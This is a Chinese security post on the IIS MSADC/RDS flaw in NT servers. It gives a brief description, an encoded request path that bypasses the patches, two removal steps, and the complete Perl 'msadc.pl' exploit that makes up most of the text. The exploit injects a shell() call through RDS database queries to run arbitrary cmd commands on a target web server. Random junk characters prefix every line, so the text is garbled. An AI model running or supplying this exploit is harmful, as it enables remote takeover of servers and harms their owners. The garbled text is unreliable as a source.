IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
n&"B0y cF bL'aB{s 涉及程序:
JBi*P.79^ Microsoft NT server
yUZb#%n %+j8["VEC 描述:
1`(tf6op 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
t; 4]cg:_ {)BTR %t 详细:
*pSQU=dmS 如果你没有时间读详细内容的话,就删除:
[Jogt#Fj ] c:\Program Files\Common Files\System\Msadc\msadcs.dll
z2g3FUTX)b 有关的安全问题就没有了。
{U1?Et# Fx;QU)1l3 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Y&S24aql x[$z({Yf 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^lA=* jY( 关于利用ODBC远程漏洞的描述,请参看:
;\]b T;# ;D:9+E<>a http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^G4Py<s OR%'K2C6S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
X$ s:>[H http://www.microsoft.com/security/bulletins/MS99-025faq.asp :c8&N-` *M:B\D 这里不再论述。
d8[J@M53|T r [4tPk 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
1guJG_;z @JD;k> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
jN[`L%Qm 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0`X]o'RxS NYrQ$N" bn!HUM, #将下面这段保存为txt文件,然后: "perl -x 文件名"
nm6h%}xND< j@SQ~AS #!perl
y%%}k #
Tk5W'p|6f # MSADC/RDS 'usage' (aka exploit) script
R)QC)U #
@\f^0^G # by rain.forest.puppy
}+C2I #
L*&p! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_3TY,l~ # beta test and find errors!
K
i'Fn" XCU7xi$d use Socket; use Getopt::Std;
L)@?e?9 getopts("e:vd:h:XR", \%args);
v^d]~!h {bJ`~b9e print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z([ v%zf AlAY iUw{ if (!defined $args{h} && !defined $args{R}) {
ll`>FcQ print qq~
k'Sp. Usage: msadc.pl -h <host> { -d <delay> -X -v }
8B\2Zfe -h <host> = host you want to scan (ip or domain)
L.S;J[a; -d <seconds> = delay between calls, default 1 second
-o$QS, -X = dump Index Server path table, if available
g^}8:,F_ -v = verbose
+^=8ge} -e = external dictionary file for step 5
e\!0<d 19E8'@ Or a -R will resume a command session
MP_ ~<Q mLP.t%?# ~; exit;}
ms*(9l.hOK %oZ6l* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pe] A5\4c if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ji>o! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w5A y)lz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Xq_5Qv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5|o6v1bM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$\]&rZVi MvK !u if (!defined $args{R}){ $ret = &has_msadc;
$$Oey)* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y
}$/e $~VRza 8Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
x:),P-~w . "cmd /c ";
YKH\rN6X $in=<STDIN>; chomp $in;
8Kg n"M3 $command="cmd /c " . $in ;
NG "C&v MZSy6v if (defined $args{R}) {&load; exit;}
1*'HL# jQ2Ot < print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
YH vLGc% &try_btcustmr;
,z;cbsV-{ 'gC_)rK* print "\nStep 2: Trying to make our own DSN...";
V@zg}C|e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^(vs.U^U< 'p>Ra/4 print "\nStep 3: Trying known DSNs...";
7"sD5N/>uh &known_dsn;
!W5 ( +S>j0m<* print "\nStep 4: Trying known .mdbs...";
}4 )H &known_mdb;
ar__ Pf6r Fq|Ni$ if (defined $args{e}){
uJzG|$; print "\nStep 5: Trying dictionary of DSN names...";
Z/k:~%|E &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
OGK}EI ~Sj9GxTe print "Sorry Charley...maybe next time?\n";
i,>khc exit;
O(fM?4w R3x3]]D ##############################################################################
8(pp2r lR tSr8 zAV sub sendraw { # ripped and modded from whisker
]^h]t~ sleep($delay); # it's a DoS on the server! At least on mine...
,:%CB"J my ($pstr)=@_;
%j.0G`x9 + socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O_`VV* die("Socket problems\n");
\k .{-nh if(connect(S,pack "SnA4x8",2,80,$target)){
K"|l@Q[ select(S); $|=1;
4!Fo$9 print $pstr; my @in=<S>;
X <f8,n select(STDOUT); close(S);
|2O]R s return @in;
(SpX w,: } else { die("Can't connect...\n"); }}
-`'I{g&A jyZ (RB ##############################################################################
J1( 9QN[w 'GNK "XA^ sub make_header { # make the HTTP request
ck:T,F{} my $msadc=<<EOT
n&$j0k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
u_@f$ User-Agent: ACTIVEDATA
|]jb& M Host: $ip
VEWi_;=J1 Content-Length: $clen
IHB}`e| Connection: Keep-Alive
YmL06<Mh /5S30 |K ADCClientVersion:01.06
(up~[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e%svrJ2 ~-ia+A6GIV --!ADM!ROX!YOUR!WORLD!
} df
W%{ Content-Type: application/x-varg
@Xt*Snd Content-Length: $reqlen
Kz~ps
5 `95r0t0hh\ EOT
o)h_H; ; $msadc=~s/\n/\r\n/g;
w^Sz#_2 return $msadc;}
1#C4;3i, 1ct;A_48 ##############################################################################
vq0Vq(V= gR&Q3jlIV sub make_req { # make the RDS request
TITKj?*o my ($switch, $p1, $p2)=@_;
*F+KqZ.2 my $req=""; my $t1, $t2, $query, $dsn;
{
d=^}-^ ERUz3mjA/ if ($switch==1){ # this is the btcustmr.mdb query
,$@bE $query="Select * from Customers where City=" . make_shell();
4;w;'3zq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~FZ&.<s
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Sxnpq Vbk rx'RSo#1O elsif ($switch==2){ # this is general make table query
+O"!qAiK $query="create table AZZ (B int, C varchar(10))";
?8I?'\F; $dsn="$p1";}
:{PJI, ]q;Emy elsif ($switch==3){ # this is general exploit table query
y0{u<"t%w $query="select * from AZZ where C=" . make_shell();
?}Z1bH $dsn="$p1";}
wu7Lk3 ({
8-* elsif ($switch==4){ # attempt to hork file info from index server
cL-[ZvyVX $query="select path from scope()";
w;;BSJ]+[ $dsn="Provider=MSIDXS;";}
$I!XSz"/e spGb!Y`mR elsif ($switch==5){ # bad query
.S!mf $query="select";
[^R^8k $dsn="$p1";}
tnV/xk#! yd^{tQi $t1= make_unicode($query);
i)o2klIkB $t2= make_unicode($dsn);
.sxcCrQE $req = "\x02\x00\x03\x00";
0Be<X $req.= "\x08\x00" . pack ("S1", length($t1));
dWM'fg $req.= "\x00\x00" . $t1 ;
5/q}`T9i%7 $req.= "\x08\x00" . pack ("S1", length($t2));
S(o#K|)> $req.= "\x00\x00" . $t2 ;
xN>npP
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^7>3a/ return $req;}
6}Vf\j~ dl.N.P7}4 ##############################################################################
u9:`4b P]<4R:yb sub make_shell { # this makes the shell() statement
?# Mr return "'|shell(\"$command\")|'";}
!!qK=V|> 3RiWZN ##############################################################################
TIx|L a:+{f& sub make_unicode { # quick little function to convert to unicode
;5wn67' my ($in)=@_; my $out;
xqXo0
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
K}2Erm%A@y return $out;}
JBD7h5|Lc #m lS}~n ##############################################################################
g-qP;vy@"q &d9{k5/+\ sub rdo_success { # checks for RDO return success (this is kludge)
x9NEFtqjm my (@in) = @_; my $base=content_start(@in);
".f ;+wH if($in[$base]=~/multipart\/mixed/){
xpNH?#& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
u=Fv2 return 0;}
:f Kl]XO <i<J^-W ##############################################################################
:KH g&ZX7 Q.bXM?V) sub make_dsn { # this makes a DSN for us
A_n7w my @drives=("c","d","e","f");
pEw"8U print "\nMaking DSN: ";
O7u(}$D
L foreach $drive (@drives) {
]~844Jp print "$drive: ";
uvgdY my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
h}-3\8 > "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1ofKt=|= . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|o,YCzy|5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
SD#]$v return 0 if $2 eq "404"; # not found/doesn't exist
K*\'.~[6 if($2 eq "200") {
909?_v foreach $line (@results) {
6.FY0. i return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?8HHA:GP } return 0;}
/TE_W@?^ ~Xr=4V:a+ ##############################################################################
H!vax)%-\ R= a|Blp sub verify_exists {
liEPCWl& my ($page)=@_;
&vHoRY my @results=sendraw("GET $page HTTP/1.0\n\n");
w|3z;-#Q; return $results[0];}
L%">iQOG# 01[NX? qEa ##############################################################################
:Y-{Kn6`_ }p=Jm)y sub try_btcustmr {
,?PTcQF my @drives=("c","d","e","f");
%el"BSB my @dirs=("winnt","winnt35","winnt351","win","windows");
M]<?k]_p g!cUF+ foreach $dir (@dirs) {
|\w=u6jX print "$dir -> "; # fun status so you can see progress
^*S ,xP foreach $drive (@drives) {
wU8Mt#D! print "$drive: "; # ditto
QpZ:gM_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:d3bt~b' $reqlenlen=length( "$reqlen" );
~7Y+2FZ $clen= 206 + $reqlenlen + $reqlen;
V=)_yIS Gb"r|(! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
l|xZk4@_uE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_a_7,bk5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
z+
s6)Ad Q*~LCtrI ##############################################################################
WegtyO Z,`iO%W sub odbc_error {
0fc/wfv< my (@in)=@_; my $base;
0?sRDYaX;c my $base = content_start(@in);
aHlcfh9| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
nJbtS#`G4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Cv
}Qwy $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"~`I::'c $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z.d7U~_ return $in[$base+4].$in[$base+5].$in[$base+6];}
2#o>Z4 r{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$m7?3/YG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
f @8mS $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pa#d L!J wNq;;AJ$ ##############################################################################
&lR 6sb\ L}GC<D: sub verbose {
H&F9J^rC my ($in)=@_;
A01AlK_B return if !$verbose;
C?ulj9=Z print STDOUT "\n$in\n";}
3Uqr,0$p 1[kMOp ##############################################################################
nYWvTvZ Z -,J)gW sub save {
@vpf[j my ($p1, $p2, $p3, $p4)=@_;
HfcL%b%G8 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_C.BFE_p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^Y<|F!0 close OUT;}
FSU ttg" u7bLZU 0 ##############################################################################
[FK<96.nt OF%B[h&
sub load {
?in|qevL my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dX\.t< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
79nG|Yj|\ @p=<IN>; close(IN);
{)DHH:n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6Z#\CixG $target= inet_aton($ip) || die("inet_aton problems");
$f,n8]
print "Resuming to $ip ...";
Sa\!*e_sN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f?oa" if($p[1]==1) {
~CVe yk< ( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
nM\eDNK $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\Z^TXyu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
.udv"?!z if (rdo_success(@results)){print "Success!\n";}
RbCPmiZcH else { print "failed\n"; verbose(odbc_error(@results));}}
A;5n:Sd elsif ($p[1]==3){
wx\v:A if(run_query("$p[3]")){
Z?pnj8h-& print "Success!\n";} else { print "failed\n"; }}
x&^_c0fn elsif ($p[1]==4){
|_}2f if(run_query($drvst . "$p[3]")){
<F'X<Bau print "Success!\n"; } else { print "failed\n"; }}
RlheQTJ exit;}
hOFOO_byzO
:,WtR ##############################################################################
KQ`qpX^d _8Z_`@0 sub create_table {
R-NS,i={ my ($in)=@_;
Q9Uf.Lh2 $reqlen=length( make_req(2,$in,"") ) - 28;
/D5` $reqlenlen=length( "$reqlen" );
;=geHiQHA $clen= 206 + $reqlenlen + $reqlen;
iS&l8@2a my @results=sendraw(make_header() . make_req(2,$in,""));
]BtbWKJBqe return 1 if rdo_success(@results);
jAy^J(+ my $temp= odbc_error(@results); verbose($temp);
#
S}Z8 return 1 if $temp=~/Table 'AZZ' already exists/;
[~kdPk return 0;}
e?`5>& Up !iH-#B- ##############################################################################
4&xZ]QC)O5 DVah sub known_dsn {
AgOp.~*Z~V # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5~Cakd]> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
I#m-g-J "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
SF}<{x_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
U7doU' V/ TlI<1/fP} foreach $dSn (@dsns) {
fBgEnz/ print ".";
!_+8A/ next if (!is_access("DSN=$dSn"));
8~9030>Q if(create_table("DSN=$dSn")){
zrR`ecC(b print "$dSn successful\n";
w^L ta if(run_query("DSN=$dSn")){
gzBy?r> r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|u0(t,T print "Something's borked. Use verbose next time\n";}}} print "\n";}
%7#-%{ '\Jj8oJQj ##############################################################################
XW -2~?$ =`*O1a sub is_access {
/CuXa%Ci^ my ($in)=@_;
lY~4'8^ $reqlen=length( make_req(5,$in,"") ) - 28;
%ObLWH' $reqlenlen=length( "$reqlen" );
)x}l3\s $clen= 206 + $reqlenlen + $reqlen;
Vw#_68EybM my @results=sendraw(make_header() . make_req(5,$in,""));
6'kS_Zu{< my $temp= odbc_error(@results);
c1$ngH0 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#
altx=6' return 0;}
>H(i^z/c
ME;n^y\8 ##############################################################################
D?C)BcN z\0CE]#T sub run_query {
tp6M=MC% my ($in)=@_;
qOSg!aft{Q $reqlen=length( make_req(3,$in,"") ) - 28;
J8M$k/"X $reqlenlen=length( "$reqlen" );
4l!@=qwn $clen= 206 + $reqlenlen + $reqlen;
ndjx|s)E my @results=sendraw(make_header() . make_req(3,$in,""));
2pzF5h return 1 if rdo_success(@results);
'fcMuBc+4 my $temp= odbc_error(@results); verbose($temp);
T[,/5J return 0;}
FP0G]=ME HDda@Jy ##############################################################################
{fha`i p8kr/uMP ; sub known_mdb {
UA4J>1 i my @drives=("c","d","e","f","g");
B3H|+ my @dirs=("winnt","winnt35","winnt351","win","windows");
?lbH02P{v my $dir, $drive, $mdb;
;<$H)`* my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|o2sbLp 7_.11$E=H # this is sparse, because I don't know of many
&ISb~5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
$we]91(:: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"p/j; 6H "\\system32\\certmdb.mdb",
3' ~gviI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
B|C/
Rk6? &?uz`pv2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HQUeWCN "\\cfusion\\cfapps\\forums\\forums_.mdb",
Py>{t4;S "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
`+zWu55; "\\cfusion\\cfapps\\security\\realm_.mdb",
FuUD 61JHY "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6*qL[m.F[o "\\cfusion\\database\\cfexamples.mdb",
%'xb%`t "\\cfusion\\database\\cfsnippets.mdb",
Y 2Q=rj "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
U3izvM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
I=7Y]w= "\\cfusion\\brighttiger\\database\\cleam.mdb",
QV h4 "\\cfusion\\database\\smpolicy.mdb",
"]m+z)lWd "\\cfusion\\database\cypress.mdb",
Vo9F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
dWXstb:[ "\\website\\cgi-win\\dbsample.mdb",
cXR1grz "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q~MC7-n> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q.9qImgN ); #these are just
5GA\xM- foreach $drive (@drives) {
{ekCQeDo foreach $dir (@dirs){
nI/kw%< foreach $mdb (@sysmdbs) {
3#vinz print ".";
"F3]X)} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
HxBm~Lcqy print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3)ma\+< 6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
28hHabd| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d\H&dkpH } else { print "Something's borked. Use verbose next time\n"; }}}}}
h'i{&mS_b zVi15P$ foreach $drive (@drives) {
]l@ qra foreach $mdb (@mdbs) {
q;fKcblKj print ".";
Io|X#\K if(create_table($drv . $drive . $dir . $mdb)){
g
^!C print "\n" . $drive . $dir . $mdb . " successful\n";
a8dXH5_ if(run_query($drv . $drive . $dir . $mdb)){
rrnNn' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
u>Rb
?` } else { print "Something's borked. Use verbose next time\n"; }}}}
]Ni;w]KE }
`/"nTB jYVE8Y)my ##############################################################################
iJv48#'ii xr qv@/kJ sub hork_idx {
y8s!M print "\nAttempting to dump Index Server tables...\n";
[3W*9j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
;uqx@sx ; $reqlen=length( make_req(4,"","") ) - 28;
`:wvh( $reqlenlen=length( "$reqlen" );
aZet0?Qr $clen= 206 + $reqlenlen + $reqlen;
Aj9Ji"18za my @results=sendraw2(make_header() . make_req(4,"",""));
x$wd
O if (rdo_success(@results)){
[xfaj'j=@ my $max=@results; my $c; my %d;
ewuXpv%vwW for($c=19; $c<$max; $c++){
~1*A $results[$c]=~s/\x00//g;
`gpQW~*R-; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ExSO|g]% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\ A%eG& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-/x
W $d{"$1$2"}="";}
uNHdpni foreach $c (keys %d){ print "$c\n"; }
TZ;p0^( } else {print "Index server doesn't seem to be installed.\n"; }}
!Y<oN~<%) Uw/l>\ ##############################################################################
vBvNu<v7te
0G <hn8> sub dsn_dict {
/<&h@$NHH4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Sf/q2/r?6[ while(<IN>){
G~wF nl% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
16X@^j_ next if (!is_access("DSN=$dSn"));
PF`rWw if(create_table("DSN=$dSn")){
{SZ % Xb o print "$dSn successful\n";
<w>/^|]# if(run_query("DSN=$dSn")){
?Pwx~[<1"" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
LF?P>
1%- print "Something's borked. Use verbose next time\n";}}}
Sd))vS^g print "\n"; close(IN);}
w?mEuXc F52B~@. ##############################################################################
_Mc>W0'5@ "BVdPS DBk sub sendraw2 { # ripped and modded from whisker
lFUWV)J\ sleep($delay); # it's a DoS on the server! At least on mine...
h(B,d,q" my ($pstr)=@_;
TFR(
4W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z[#Fog die("Socket problems\n");
r]P, 9 if(connect(S,pack "SnA4x8",2,80,$target)){
$P:
O/O=> print "Connected. Getting data";
|<`.fOxJP open(OUT,">raw.out"); my @in;
Aaw(Ed select(S); $|=1; print $pstr;
bm}6{28R while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)9=(|Lp close(OUT); select(STDOUT); close(S); return @in;
u/Fj'*M } else { die("Can't connect...\n"); }}
_2hXa!yO k$Rnj`*^ ##############################################################################
]lS@}W\ Q0_>'sEM sub content_start { # this will take in the server headers
k_GP>b\"k my (@in)=@_; my $c;
YCy2 2@C for ($c=1;$c<500;$c++) {
PoShQR< if($in[$c] =~/^\x0d\x0a/){
t~M
$%)h if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
OQ4c#V? else { return $c+1; }}}
R^MiP|?ZH return -1;} # it should never get here actually
Vv*NFJ | T~gW3J ##############################################################################
VY+>=! !asqr1/ sub funky {
5IqQ |/m<6 my (@in)=@_; my $error=odbc_error(@in);
:Dl%_l if($error=~/ADO could not find the specified provider/){
:Gh~fm3} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ad n|N exit;}
\&}G] if($error=~/A Handler is required/){
Wv K(G3 print "\nServer has custom handler filters (they most likely are patched)\n";
fP%Fyg^k exit;}
(A/0@f1# if($error=~/specified Handler has denied Access/){
S<6k0b(,_3 print "\nServer has custom handler filters (they most likely are patched)\n";
S{p}ux[}= exit;}}
|G=[5e^s[ GlR~%q-jiQ ##############################################################################
rUwE?Ekn/ o*ANi;1]&B sub has_msadc {
6ri#Lw my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
8
#oR/Nt my $base=content_start(@results);
?\H.S9CZ^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$zkH|]
zZ return 0;}
ErbSl ,#'7)M D8 ########################
8*!|8 BPj^ m-1?\bs _MYx%Z 解决方案:
;?IT)sNY 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*+lsZ8'^C 2、移除web 目录: /msadc